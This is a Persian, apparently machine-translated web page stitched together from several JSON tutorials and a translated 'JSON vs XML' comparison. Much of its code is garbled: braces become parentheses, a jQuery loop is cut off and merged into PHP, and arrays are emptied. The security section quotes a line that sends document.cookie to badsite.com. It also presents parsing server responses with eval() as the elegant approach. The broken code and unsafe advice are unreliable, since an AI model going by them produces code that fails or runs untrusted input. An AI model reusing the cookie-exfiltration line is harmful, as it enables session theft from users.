    // مثالی از آرایه در جاوا اسکریپت arr = ; هشدار (arr); // 1 را نشان می دهد // نمونه ای از یک شی در جاوا اسکریپت obj = ( "name": "Vasya", "age": 35, "isAdmin": false ) alert(obj.name); // "واسیا" را چاپ خواهد کرد

    توابع جاوا اسکریپت مورد استفاده برای تبدیل و تبدیل به فرمت JSON:

    • JSON.parse - رمزگشایی یک رشته JSON (تبدیل یک رشته به اشیا و/یا آرایه ها)
    • JSON.stringify - نمایش JSON از داده ها را برمی گرداند (تبدیل اشیا و/یا آرایه ها به رشته json)

    یک مثال ساده از رمزگشایی یک رشته json به یک آرایه با اعداد:

    Str = ""; arr = JSON.parse(str); هشدار (arr); // 1 را چاپ خواهد کرد

    مثالی از تبدیل (سریال کردن) یک شی به یک رشته JSON:

    Obj = ( "name": "Vasya"، "age": 35، "isAdmin": false ) alert(JSON.stringify(obj)); // نمایش داده می شود ("name":"Vasya", "age":35,"isAdmin":false)

    هنگام سریال سازی (تبدیل) یک شی به رشته JSON، متد toJSON این شیء در صورت وجود فراخوانی می شود. اگر روشی وجود نداشته باشد، تمام خصوصیات شی فهرست می شود. مثالی از تبدیل یک شی با متد toJSON:

    Obj = ( "name": "Vasya"، "age": 35، "isAdmin": false، toJSON: function() ( return this.age; ) ) alert(JSON.stringify(obj)); // 35 چاپ خواهد کرد

    نمونه هایی از کاربرد عملی فرمت JSON

    در واقع، من شخصا از فرمت JSON در 2 موقعیت اصلی استفاده می کنم:

    1. انتقال داده ها بین مرورگر و سرور با استفاده از درخواست های Ajax.

    برای مثال، صفحه‌ای داریم که باید داده‌ها را بدون بارگیری مجدد صفحه به‌روزرسانی کنیم. فرض کنید برای «دانلود کردن» از سرور به اطلاعاتی با لیستی از کارمندان و داده های آنها نیاز دارید.

    در جاوا اسکریپت با استفاده از jQuery آن را ساده کرده و داده ها را به صورت جدول در مرورگر نمایش می دهیم:

    $.getJSON("get-info.php").success(function(data) ( // درخواست ajax، داده ها از سرور در متغیر داده htmlstr = "

    "; برای (var i=0; i "ایوانف سرگئی"، "تولد" => "03/09/1975"); $user_info = آرایه ("fio" => "الکسی پتروف"، "تولد" => " 09/18. 1983"؛ echo json_encode($user_info)؛ exit;

    در این مثال، رشته JSON که از سرور به مرورگر منتقل شد به این صورت بود:

    [("fio": "Sergey Ivanov"، "تولد":"03/09/1975")، ("fio": "الکسی پتروف"، "تولد":"09/18/1983")]

    من عمداً خط را به شکل "درخت" نشان ندادم، زیرا دقیقاً به این شکل منتقل می شود. و همانطور که می توانید درک کنید، ضبط داده ها در قالب JSON بسیار فشرده است، به این معنی که انتقال این داده ها از سرور به مرورگر تقریباً آنی خواهد بود.

    2. نوشتن ساختارهای داده پیچیده در پایگاه داده.

    گاهی اوقات شرایطی پیش می آید که ایجاد جدول دیگری در پایگاه داده به منظور ذخیره داده های مختلف توصیه نمی شود. فرض کنید کاربری که در سایت ثبت نام کرده است این فرصت را دارد که رنگ پس زمینه و رنگ متن را سفارشی کند.

    به جای ایجاد جدول دیگری برای 2 تنظیمات، می توانید به سادگی یک ستون متنی در جدول با لیست کاربران ایجاد کنید تا داده های تنظیمات کاربر را در آن قرار دهید. سپس درخواست به‌روزرسانی تنظیمات می‌تواند برای مثال به این صورت باشد:

    UPDATE users SET settings = "("background-color":"#FFFFFF", "text-color":"#000000")" WHERE user_id = 10

    در آینده، با دریافت اطلاعات از جدول کاربران، اسکریپت php می تواند به راحتی آنها را به یک آرایه با تنظیمات تبدیل کند. به عنوان مثال، اگر متغیر $user_info حاوی داده‌های به‌دست‌آمده برای کاربر از جدول کاربران باشد، دریافت یک آرایه با تنظیمات بسیار ساده است:

    $settings = json_decode($user_info["settings"]، true); echo "Background color = ".$settings["background-color"]; echo "Text color = ".$settings["text-color"];

    در قالب JSON، می‌توانید برای مثال، در پایگاه داده ثبت کنید که خریدار کدام گزینه محصول را انتخاب کرده است.

    ("15":["45","47"], "18":"52") // گزینه 15 دارای مقادیر 45 و 47 انتخاب شده است و گزینه 18 دارای مقدار 52 انتخاب شده است.

    در اصل، حتی می توانید کل محتویات سبد خرید را با فرمت JSON بنویسید، به عنوان مثال، به این صورت:

    ( "user_id" : 10, "session_id" : "2c2l3h4ii271aojentejtdcmh3", "products": [ ( "product_id" : 15, "options" : ( "15" : , "18" : 52), "تعداد" : 1, "price" : 1500 ), ( "product_id" : 16، "options" : ( "15" : , "18" : 51 )، "تعداد" : 2، "price" : 1000 ) ] )

    در شکل غیر درختی معمول خود، این رشته JSON به شکل زیر خواهد بود:

    ("user_id":10,"session_id":"2c2l3h4ii271aojentejtdcmh3"،"products":[("product_id":15,"options":("15":"18":52)،"quantity":1 , "price":1500),("product_id":16,"options":("15":"18":51)،"quantity":2,"price":1000)])

    بنابراین، همانطور که از مثال ها مشاهده می شود، تقریباً هر اطلاعاتی را می توان در قالب JSON ذخیره و منتقل کرد.

    JSON (JavaScript Object Notation) یک فرمت انتقال داده است. همانطور که از نام آن پیداست، قالب بر اساس زبان برنامه نویسی جاوا اسکریپت است، اما در زبان های دیگر (پایتون، روبی، پی اچ پی، جاوا) نیز موجود است.

    JSON از پسوند .json استفاده می کند. هنگامی که در فرمت های فایل دیگر (مانند .html) استفاده می شود، رشته JSON نقل قول می شود یا به یک متغیر اختصاص می یابد. این فرمت به راحتی بین وب سرور و کلاینت یا مرورگر منتقل می شود.

    سبک وزن و درک آسان، JSON یک جایگزین عالی برای XML است.

    این آموزش شما را با مزایا، اشیاء، ساختار کلی و نحو JSON آشنا می کند.

    نحو و ساختار JSON

    یک شی JSON به شکل کلید-مقدار است و معمولاً در پرانتزهای فرفری نوشته می شود. هنگام کار با JSON، همه اشیاء در یک فایل json. ذخیره می شوند، اما می توانند به عنوان اشیاء جداگانه در متن برنامه نیز وجود داشته باشند.

    شی JSON به شکل زیر است:

    "first_name" : "جان"،
    "last_name" : "اسمیت"،
    "مکان": "لندن"،
    "آنلاین": درست است،
    "فالوور" : 987

    این یک مثال بسیار ساده است. یک شی JSON می تواند شامل خطوط زیادی باشد.

    همانطور که می بینید، یک شی از جفت های کلید-مقدار تشکیل شده است که در پرانتزهای فرفری محصور شده اند. بیشتر داده ها در JSON به صورت آبجکت نوشته می شوند.

    یک دو نقطه بین کلید و مقدار قرار می گیرد. بعد از هر جفت باید یک کاما قرار دهید. نتیجه این است:

    "کلید" : "ارزش"، "کلید": "مقدار"، "کلید": "مقدار"

    کلید JSON در سمت چپ است. کلید باید در دو گیومه قرار گیرد. هر رشته معتبری را می توان به عنوان کلید استفاده کرد. در یک شی، همه کلیدها باید منحصر به فرد باشند. کلید ممکن است حاوی یک فاصله ("نام") باشد، اما برنامه نویسی ممکن است در دسترسی به چنین کلیدی مشکل داشته باشد. بنابراین، به جای فاصله، بهتر است از خط زیر ("first_name") استفاده کنید.

    مقادیر JSON در سمت راست ستون قرار دارند. هر نوع داده ساده ای را می توان به عنوان مقدار استفاده کرد:

    • رشته های
    • شماره
    • اشیاء
    • آرایه ها
    • داده های بولی (درست یا نادرست)

    مقادیر را می توان با انواع داده های پیچیده (به عنوان مثال، اشیاء یا آرایه های JSON) نیز نمایش داد.

    JSON از نحو جداگانه برای هر یک از انواع داده های ذکر شده در بالا پشتیبانی می کند: اگر مقدار با یک رشته نشان داده شود، نقل قول می شود، اما اگر یک عدد باشد، اینطور نیست.

    به طور معمول، داده‌های موجود در فایل‌های json. در یک ستون نوشته می‌شوند، اما JSON نیز می‌تواند در یک ردیف نوشته شود:

    ( "first_name" : "John"، "last_name": "Smith"، "online": true، )

    به این صورت است که داده های JSON معمولاً روی انواع فایل های دیگر نوشته می شوند.

    با نوشتن داده‌های JSON در یک ستون، خوانایی فایل را بهبود می‌بخشید (مخصوصاً اگر داده‌های زیادی در فایل وجود داشته باشد). JSON فاصله‌های بین ستون‌ها را نادیده می‌گیرد، بنابراین می‌توانید از آن‌ها برای تقسیم داده‌های خود به تعدادی ستون قابل مدیریت استفاده کنید.

    "first_name" : "جان"،
    "last_name" : "اسمیت"،
    «آنلاین»: درست است

    توجه داشته باشید که اشیاء JSON بسیار شبیه به اشیاء جاوا اسکریپت هستند، اما فرمت یکسانی ندارند. به عنوان مثال، می توانید از توابع در جاوا اسکریپت استفاده کنید، اما نه در JSON.

    مزیت اصلی JSON این است که داده ها در این فرمت توسط بسیاری از زبان های برنامه نویسی محبوب پشتیبانی می شوند، بنابراین می توان آنها را به سرعت منتقل کرد.

    اکنون با سینتکس اولیه JSON آشنا شده اید. اما فایل‌های JSON می‌توانند ساختارهای پیچیده و سلسله مراتبی داشته باشند که شامل آرایه‌ها و اشیاء تو در تو می‌شود.

    انواع پیچیده در JSON

    JSON می تواند اشیاء و آرایه های تودرتو را ذخیره کند که به عنوان مقدار کلید اختصاص داده شده به آنها ارسال می شود.

    اشیاء تو در تو

    در زیر نمونه ای را مشاهده خواهید کرد - فایل users.json که حاوی داده های کاربر است. برای هر کاربر

    ("جان"، "jesse"، "drew"، "جمی") یک شی تودرتو به عنوان مقدار ارسال می شود که به نوبه خود از کلیدها و مقادیر نیز تشکیل شده است.

    توجه: اولین شیء JSON تو در تو با رنگ قرمز مشخص شده است.

    "جان" :(
    "نام کاربری" : "جان"،
    "مکان": "لندن"،
    "آنلاین": درست است،
    "فالوور" : 987

    "جسی" :(
    "نام کاربری" : "جسی"،
    "مکان": "واشنگتن"،
    "آنلاین": نادرست،
    «پیروان»: 432

    "کشید" :(
    "نام کاربری" : "Drew",
    "مکان": "پاریس"،
    "آنلاین": نادرست،
    «پیروان»: 321

    "جیمی" :(
    "نام کاربری" : "جمی"،
    "مکان" : "برلین"،
    "آنلاین": درست است،
    "فالوور" : 654

    توجه داشته باشید که از بریس های فرفری هم در شی تودرتو و هم در جسم اصلی استفاده می شود. کاما در اشیاء تو در تو به همان روشی که در اشیاء معمولی استفاده می شود.

    آرایه های تودرتو

    داده ها را می توان با استفاده از آرایه های جاوا اسکریپت در JSON تو در تو قرار داد که به عنوان مقادیر ارسال می شوند. جاوا اسکریپت از براکت های مربع () در ابتدا و انتهای یک آرایه استفاده می کند. آرایه مجموعه ای مرتب از داده ها است که می تواند انواع مختلفی از داده ها را در خود داشته باشد.

    یک آرایه برای انتقال حجم زیادی از داده ها که می توانند گروه بندی شوند استفاده می شود. به عنوان مثال، بیایید سعی کنیم اطلاعات کاربر را ثبت کنیم.

    {
    "first_name" : "جان"،
    "last_name" : "اسمیت"،
    "مکان": "لندن"،
    "وب سایت ها" : [

    "توضیحات" : "کار"،
    "URL" : "https://www.johnsmithsite.com/"

    },
    {

    "توضیحات" : "آموزش ها"،
    "URL" : "https://www.johnsmithsite.com/tutorials"

    "رسانه_اجتماعی" : [

    "توضیحات": "توئیتر"،
    "لینک": "https://twitter.com/johnsmith"

    "توضیحات" : "فیس بوک"،
    "لینک": "https://www.facebook.com/johnsmith"

    "توضیحات": "github",
    "لینک": "https://github.com/johnsmith"

    کلیدهای "websites" و "social_media" آرایه هایی به عنوان مقادیر اختصاص داده می شوند که در پرانتز قرار می گیرند.

    با استفاده از آرایه ها و اشیاء تو در تو، می توانید یک سلسله مراتب داده پیچیده ایجاد کنید.

    JSON یا XML؟

    XML (EXtensible Markup Language) به شما امکان می دهد داده ها را به شکلی ذخیره کنید که برای انسان ها و ماشین ها قابل درک باشد. فرمت XML توسط تعداد زیادی زبان برنامه نویسی پشتیبانی می شود.

    XML و JSON اشتراکات زیادی دارند. با این حال، XML به متن بسیار بیشتری نیاز دارد، به این معنی که چنین فایل هایی بزرگتر هستند و خواندن و نوشتن آنها دشوارتر است. علاوه بر این، XML فقط با استفاده از یک مفسر XML پردازش می شود، در حالی که JSON را می توان با استفاده از یک تابع ساده پردازش کرد. برخلاف JSON، XML نمی تواند آرایه ها را ذخیره کند.

    بیایید دو فایل را با هم مقایسه کنیم: آنها حاوی داده های یکسانی هستند، اما اولی با فرمت XML و دومی در JSON نوشته شده است.

    users.xml

    جان لندن

    جسی واشنگتن

    درو پاریس

    جیمی برلین

    users.json
    ("کاربران": [

    ("نام کاربری": "جان"، "مکان": "لندن")،
    ("نام کاربری": "جسی"، "مکان": "واشنگتن")،
    ("نام کاربری": "درو"، "مکان": "پاریس")،
    ("نام کاربری": "JamieMantisShrimp"، "مکان": "Berlin")

    JSON فرمت بسیار فشرده ای است و به اندازه XML به برچسب نیاز ندارد. علاوه بر این، XML، بر خلاف JSON، از آرایه ها پشتیبانی نمی کند.

    اگر با HTML آشنایی داشته باشید، متوجه خواهید شد که فرمت XML بسیار شبیه به آن است (مخصوصاً برچسب ها). JSON ساده‌تر است، به متن کمتری نیاز دارد و برای مثال در برنامه‌های AJAX استفاده از آن آسان‌تر است.

    البته فرمت باید بسته به نیاز اپلیکیشن انتخاب شود.

    ابزار برای JSON

    JSON معمولاً در جاوا اسکریپت استفاده می شود، اما این فرمت به طور گسترده در سایر زبان های برنامه نویسی استفاده می شود.

    اطلاعات بیشتر در مورد سازگاری و پردازش JSON را می توانید در وب سایت پروژه و کتابخانه jQuery پیدا کنید.

    نوشتن JSON از ابتدا به ندرت اتفاق می افتد. به طور معمول، داده ها از منبع بارگیری می شوند یا به JSON تبدیل می شوند. با استفاده از ابزار منبع باز Mr. مبدل داده ها برای تبدیل XML به JSON و بالعکس، از utilities-online.info استفاده کنید. هنگام کار با ابزارهای خودکار، حتماً نتایج را بررسی کنید.

    فایل های JSON (از جمله داده های تبدیل شده) را می توان با استفاده از سرویس JSONLint بررسی کرد. برای آزمایش JSON در زمینه توسعه وب، به JSFiddle مراجعه کنید.

    نتیجه

    JSON یک فرمت داده ساده و سبک است. انتقال، ذخیره و استفاده از فایل های JSON آسان است.

    امروزه JSON اغلب در API ها استفاده می شود.

    • ترجمه

    توجه: در زیر ترجمه مقاله مروری "JSON vs XML" اختصاص داده شده به JSON و مقایسه آن با XML بر اساس تعدادی معیار است. به منظور محبوبیت JSON در بین خوانندگان Habrahabr منتشر شده است.

    JSON (JavaScript Object Notation) یک فرمت تبادل داده است که به راحتی توسط افراد خوانده می شود، پردازش و تولید آن توسط برنامه ها آسان است.

    بر اساس زیر مجموعه ای از زبان جاوا اسکریپت، استاندارد ECMA-262 3rd Edition - دسامبر 1999.


    JSON - ویکی پدیا

    فرمت پاسخ صحیح برای XMLHttpRequest در برنامه های AJAX چیست؟ برای اکثر برنامه های کاربردی مبتنی بر نشانه گذاری، پاسخ ساده است - (X)HTML. برای کاربردهای اطلاعات محور، انتخاب بین XML و JSON خواهد بود. تا همین اواخر، من واقعاً نمی‌دانستم چه چیزی بهتر است استفاده کنم، XML یا JSON. من به سادگی فرض کردم که در هر مورد خاص ارزش انتخاب مناسب ترین قالب را دارد، همین. اما اخیراً این فرصت را داشتم که این رویکرد را در عمل آزمایش کنم. در این پست، معیارهایی را که با آن بین XML و JSON مقایسه کردم و نتیجه گیری های خودم را شرح خواهم داد.

    بنابراین، معیارها به شرح زیر است.

    • خوانایی کد
    • سهولت ایجاد یک شی داده سمت سرور.
    • پردازش آسان داده ها در سمت مشتری.
    • آسان برای گسترش.
    • اشکال زدایی و تصحیح خطا.
    • ایمنی.
    خوانایی کد

    Person person = new Person(); person.setFirstName("Subbu"); person.setLastName("Allamaraju"); writer.write(JSONObject.fromObject(person).toString());

    اگر عملکرد چنین رابط های برنامه نویسی را در نظر بگیریم، ایجاد JSON تفاوت زیادی با سریال سازی دانه های جاوا به اشیا ندارد. با این حال، شایان ذکر است که در حال حاضر راه های بسیار بیشتری برای تولید XML نسبت به JSON وجود دارد. برخی از این APIهای XML سال‌هاست که وجود داشته‌اند و به همین دلیل ممکن است هنگام استفاده برای برنامه‌های پیچیده پایدارتر باشند.

    جنبه دیگری که باید در نظر گرفت میزان منابعی است که برای تولید پاسخ استفاده می شود. اگر عملیات "سنگین" از قبل هنگام دریافت داده انجام شده باشد، تبدیل آنها به XML برای پاسخ برای بخش سرور دشوار نخواهد بود. اگر ایجاد XML پرمخاطب ترین عملیات است، بهتر است از JSON استفاده کنید.

    راحتی در استفاده

    در سمت کلاینت، پردازش داده‌های JSON به عنوان پاسخ به یک XMLHttpRequest بسیار ساده است.

    Var person = eval(xhr.responseText); هشدار(person.firstName);

    با استفاده از eval() معمولی می توانید پاسخ را به یک شی جاوا اسکریپت تبدیل کنید. پس از تکمیل این عملیات، با استفاده از ویژگی های شی تبدیل شده می توان به داده ها دسترسی داشت. این زیباترین قسمت همه JSON است.

    حالا بیایید XML را بررسی کنیم. برای شفاف‌تر کردن قطعه کد زیر، تمام بررسی خطاها را حذف کردم.

    "نام کوچک")؛

    بدیهی است که هنگام پردازش داده های دریافتی از سرور، لازم است کل درخت DOM را بررسی کنید. این یک عملیات بسیار کار فشرده است و مستعد خطا است. متاسفانه در مرورگر باید با DOM سروکار داشته باشیم. مرورگرها از زبان پرس و جو مانند XPath برای بازیابی گره های درختی در یک سند XML پشتیبانی نمی کنند. پشتیبانی از این توابع قبلاً برای XSLT اعمال می شود، اما کاملاً محدود است ( توجه: در مرورگر) از نظر تبدیل XML به نشانه گذاری (مثلاً HTML). گروه کاری رابط های وب ( گروه کاری Web API) از W3C روی رابط انتخابگر کار می کند ( Selectors API) که می تواند برای اعمال انتخابگرهای CSS هنگام انتخاب گره ها از یک شی Document استفاده شود. با استفاده از چنین رابطی، می‌توان کد مثال بالا را به xml.match("person.firstName") تبدیل کرد تا عنصر firstName به دست آید. این یک دستاورد بزرگ برای سند XML در این مثال نیست، اما می تواند برای کار با اسناد بسیار منشعب مفید باشد. این رابط هنوز کامل نشده است و سال ها طول می کشد تا مرورگرها از آن پشتیبانی کنند.

    به طور کلی، اگر مجبور باشم بین XML و JSON یکی را انتخاب کنم، به دلیل سهولت اجرای پردازش سمت مشتری، JSON را ترجیح می دهم.

    توسعه پذیری

    توسعه پذیری به کاهش تعداد ارتباطات بین ارائه دهنده داده و گیرنده کمک می کند. در زمینه برنامه های AJAX، اسکریپت سمت سرویس گیرنده باید با توجه به تغییرات سازگار در داده ها به اندازه کافی ثابت باشد.

    باور عمومی این است که XML به طور خودکار به دلیل وجود حرف "X" قابل گسترش است. اما این یک قانون بدون قید و شرط (یعنی عمل به طور پیش فرض) نیست. توسعه پذیری XML بر این اصل استوار است که می توانید گره های اضافی را در XML خود تعریف کنید و سپس قانون "پرش از آنچه لازم نیست" را اعمال کنید (به عنوان مثال، اگر در حین پردازش XML با یک عنصر یا ویژگی ناآشنا مواجه شدید، کافی است از آن رد شوید).

    برای استفاده کامل از توسعه پذیری، باید کد سمت سرویس گیرنده را با در نظر گرفتن توسعه پذیری بنویسید. برای مثال، اگر بخواهید مثلاً یک عنصر MiddleName را وارد کنید، مثال زیر خراب می شود.

    Var xml = xhr.responseXML; var element = xml.getElementsByTagName("firstName"); var firstNameEl = عناصر[0]; var lastNameEl = firstNameEl.nextSibling;

    اگر عنصری را بلافاصله بعد از عنصر وارد کنید، این مثال باعث می شود که نام میانی به عنوان نام خانوادگی اشتباه تعبیر شود. برای اینکه نسبت به این تغییر تغییر نکند، کد باید بازنویسی شود تا به صراحت عنصر را دریافت کند، یا تنها در صورتی که فرزندی با برچسب نام دلخواه پیدا شود به nextSibling دسترسی داشته باشید. بنابراین، تا زمانی که کد را با در نظر گرفتن توسعه پذیری آینده بنویسید، XML قابل توسعه است. همه چیز فوق العاده ساده است.

    بیایید به JSON برگردیم. من استدلال می کنم که گسترش داده های JSON آسان تر از XML است. این بدون شک به تلاش کمتری نیاز دارد. بیایید اضافه کردن ویژگی MiddleName به پاسخ JSON را در نظر بگیریم. برای دسترسی به آن، فقط باید با آن تماس بگیرید.

    هشدار(person.middleName);

    اگر نام میانی به پاسخ خود اضافه کنید، این کد تغییر نمی کند. اما در مورد پردازش یک شخص با نام میانی یا بدون نام چه باید کرد؟ با JSON آسان است.

    if (person.middleName) ( // در حال پردازش)

    موضع من این است که در صورت امکان توسعه پذیری آینده، داده های XML و JSON را می توان گسترش داد. اما گسترش داده ها با JSON آسان تر از XML است. شما فقط باید بررسی کنید که ویژگی مورد نیاز روی شی وجود دارد و مطابق نتیجه بررسی عمل کنید.

    گزینه دیگر برای گسترش داده های JSON استفاده از فراخوانی تابع همراه با اعلان داده ها به طور مستقیم در پاسخ است.

    Alert("سلام - من یک شخص هستم"); (("firstName" : "Subbu"، "LastName": "Allamaraju"));

    هنگامی که داده ها از طریق eval() اعلان می شوند، مرورگر عبارت alert() را نیز فراخوانی می کند. در این حالت، هم می توانید داده ها را بارگیری کنید و هم عملکردها را اجرا کنید. این رویکرد باید با احتیاط زیاد استفاده شود، زیرا پاسخ را با فراخوانی تابع درهم می‌ریزد و ارتباطی بین تماس‌ها و داده‌ها ایجاد می‌کند. برخی از منابع همچنین آسیب پذیری های امنیتی بالقوه این رویکرد را مورد بحث قرار می دهند که در زیر با جزئیات بیشتر مورد بحث قرار می گیرند.

    اشکال زدایی و تصحیح خطا

    این جنبه هم برای سمت سرور برنامه شما و هم برای سمت سرویس گیرنده اعمال می شود. در سرور، باید مطمئن شوید که داده ها به درستی شکل گرفته و درست هستند. اشکال زدایی خطاهای پاسخ در سمت کلاینت باید آسان باشد.

    با XML، تأیید اینکه داده های ارسال شده به مشتری به خوبی شکل گرفته و صحیح هستند، نسبتاً آسان است. می توانید از طرح واره برای داده های خود استفاده کنید و از آن برای اعتبارسنجی داده ها استفاده کنید. با JSON، این کار دستی می شود و نیاز به بررسی اینکه آیا شیء به دست آمده دارای ویژگی های صحیح است یا خیر.

    در سمت مشتری، در هر دو مورد، تشخیص خطاها دشوار است. برای XML، مرورگر به سادگی قادر به تبدیل آن به answerXML نخواهد بود. برای مقادیر کمی از داده های JSON، می توانید از افزونه FireBug برای اشکال زدایی و تصحیح خطا استفاده کنید. اما با حجم زیاد داده، ارتباط پیام خطا با یک مکان خاص در کد تا حدودی دشوار می شود.

    ایمنی

    دیو جانسون در پست JSON and the Golden Fleece پیشنهاد می کند که JSON می تواند مشکلات امنیتی ایجاد کند. اصل نکته این است که اگر اجازه دهید فراخوانی های تابع همراه با داده ها در پاسخ های JSON درج شود و از eval() برای پردازش پاسخ استفاده کنید، در این صورت کد دلخواه را اجرا می کنید که در واقع ممکن است از قبل دارای یک خطر امنیتی باشد.

    Window.location = "http://badsite.com؟" + document.cookie; شخص: ( "firstName" : "Subbu"، "LastName": "Allamaraju")

    اگر پاسخ در مثال بالا اجرا شود، باعث می شود مرورگر کوکی های کاربر را به سایت شخص ثالث ارسال کند. اما در این مورد، در تعریف تهدید امنیتی نوعی سردرگمی وجود دارد. شما نباید به داده ها یا کدهای به دست آمده از یک منبع تایید نشده اعتماد کنید. و ثانیا، ما نمی توانیم از XMLHttpRequest برای ارتباط با دامنه هایی غیر از دامنه منبع اسکریپت استفاده کنیم. بنابراین، تنها خود توسعه دهندگان، هنگام ایجاد یک برنامه، می توانند ارسال کوکی ها را به یک سایت شخص ثالث آغاز کنند. این کاملاً مشکوک است، زیرا آنها می توانند به همین راحتی این کد مخرب را در هر جایی از سند خارج از پاسخ داده ارسال شده از سرور قرار دهند. شاید من چیزی را از دست داده ام، اما در نظر گرفتن JSON به عنوان ناامن در مقایسه با XML، فایده ای نمی بینم.

    انتخاب من

    برای برنامه های اطلاعات محور، به دلیل سادگی و سهولت پردازش داده ها در سمت مشتری، ترجیح می دهم از JSON نسبت به XML استفاده کنم. XML ممکن است در سرور ضروری باشد، اما کار با JSON بر روی کلاینت قطعا آسان تر است.



     

    شاید خواندن آن مفید باشد: